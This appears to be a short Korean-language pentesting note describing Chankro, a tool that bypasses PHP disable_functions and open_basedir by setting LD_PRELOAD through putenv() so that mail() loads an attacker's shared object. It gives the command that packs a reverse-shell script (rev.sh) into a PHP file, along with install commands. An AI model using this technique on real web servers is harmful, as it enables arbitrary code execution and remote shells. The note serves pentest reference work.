
disable_functions 및 open_basedir을 우회하는 도구
펜테스트에서 disable_functions 및 __open_basedir__를 우회하는 가장 좋아하는 도구입니다.
Linux의 PHP는 mail() 함수가 실행될 때 바이너리(sendmail)를 호출합니다. putenv()가 허용된 경우 환경 변수 "LD_PRELOAD"를 설정하여 임의의 공유 객체를 사전 로드할 수 있습니다. 우리의 공유 객체는 PHP 제한 없이 사용자 지정 페이로드(바이너리 또는 bash 스크립트)를 실행하므로, 예를 들어 리버스 셸을 얻을 수 있습니다.
구문은 매우 간단합니다:
$ python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
참고: path는 .so가 배치될 절대 경로입니다.
$ git clone https://github.com/TarlogicSecurity/Chankro.git
$ cd Chankro
$ python2 chankro.py --help
# pacman -S chankro
$ chankro --help